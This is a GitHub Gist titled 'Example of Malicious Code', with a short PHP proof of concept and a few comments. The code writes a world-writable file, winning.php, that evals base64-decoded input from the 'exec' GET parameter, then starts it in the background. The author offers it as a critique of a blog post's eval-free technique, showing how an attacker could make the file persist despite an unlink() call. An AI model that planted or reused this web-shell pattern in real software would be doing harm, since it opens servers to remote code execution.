Created
March 13, 2012 15:58
-
-
Save cballou/2029558 to your computer and use it in GitHub Desktop.
Example of Malicious Code
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// insert malicious code here... | |
try { | |
$script = ' | |
<?php | |
// harmful code | |
if (!empty($_GET['exec'])) { | |
eval(base64_decode($_GET['exec'])) | |
}'; | |
// save the file | |
file_put_contents('./winning.php', $script); | |
@chmod('./winning.php', 0777); | |
// run harmful file in background | |
exec("php ./winning.php > /dev/null 2>&1 &"); | |
} catch (Exception $e) {} | |
// trigger error | |
$winning = new DuhWinning(); |
The code above is in response to a blog post entitled "How to use eval() without using eval() in PHP" by Gonzalo Ayuso. I was merely pointing out security flaws in the non-eval implementation (not that eval is secure) that would allow an attacker to bypass his unlink() call for removing the file, thereby making it persistent. I added some logic to make it run in the background for shits and giggles. It's merely a proof of concept, so it doesn't actually have any real functionality or purpose.
You can read Gonzalo's blog post at http://gonzalo123.wordpress.com/2012/03/12/how-to-use-eval-without-using-eval-in-php/
how this code is injected and executed can you explain me, please...
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
can you please explain your code?